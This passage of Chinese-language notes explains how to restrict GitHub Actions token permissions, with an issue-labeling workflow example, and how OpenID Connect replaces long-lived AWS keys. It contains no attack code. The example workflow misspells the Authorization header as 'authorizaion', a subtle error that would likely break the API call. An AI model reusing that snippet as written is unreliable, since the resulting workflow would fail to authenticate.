可以加強避免被其他外部程式碼做怪怪的事,例如設定在 checkout code 時只能 `read-only` - 範例:當 issue title 裡面 包含 `bug` 字串時,打 Github API 並對 issue 加上 `bug` label 1. 建立 action ```yaml # .github/workflows/label-issues-real.yml name: Label Issues (Permission Example) on: issues: types: opened jobs: assign-label: runs-on: ubuntu-latest steps: - name: Assign Label if: contains(github.event.issue.title, 'bug') run: | curl -X POST \ --url https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.issue.number }}/labels \ -H 'authorizaion: Bearer ${{ secrets.GITHUB_TOKEN }}' \ -H 'content-type: application/json' \ -d '{ "labels": ["bug"] }' \ --fail ``` > 到這裡為止我們還沒有自己設置 `GITHUB_TOKEN`,Github 會在執行這個 workflow 時 [自動產生](https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication) 一組,job 結束就會被移除;而我們設置的 permission 會決定這組 Token 的權限範圍 2. 可以在 action 裡面設置這個 job 只會用到部分的 permission > 沒有設置的時候這個 workflow 將有幾乎所有的權限,設置後就只會留有設置的權限。也就是說出現 script injection 或其他外部 actions 動作時,能確保他無法存取這個 workflow 沒有的權限 ```yaml! name: Label Issues (Permission Example) on: issues: types: opened # Put here to apply to all jobs in the workflow # permissions: # issues: write jobs: assign-label: permissions: issues: write runs-on: ubuntu-latest steps: # ... ``` 3. Github 容許我們 [客製化 Token 所帶有的權限](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/controlling-permissions-for-github_token) ### Third-Party Permissions & OpenID Connect > 透過 [OpenID Connect](https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect) 可以向第三方服務動態請求某部分的權限來處理 workflow 需要處理的事情,而這個暫時的權限只會存在到 workflow 結束 - 在與 AWS 互動時,AWS 會去抓你的 `AWS_ACCESS_KEY_ID` 和 `AWS_SECRET_ACCESS_KEY` 來存取服務,此時會發生以下問題 - 還是有可能被 script injection 取得此 token,因此並不是百分百安全 - 所有用到這個服務的 repository 都必須獨立設置 secrets - 這些 Access Key 的權限有可能超出 workflow 要操作的範圍,對於服務所產生的風險較高 - 除了 AWS 外還有很多其他雲端服務能透過此方式取得權限,以下是 AWS 建立 OpenID 權限的資源 - [Github: Configuring OpenID Connect in Amazon Web Services](https://docs.github.com/en/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services) - [AWS: Create an OpenID Connect (OIDC) identity provider in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html) ### 其他相關資源 * [security-hardening-for-github-actions](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions) * [encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) * [GITHUB_TOKEN](https://docs.github.com/en/actions/security-guides/automatic-token-authentication) * [Preventing Fork Pull Requests Attacks](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) * [about-security-hardening-with-openid-connect](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)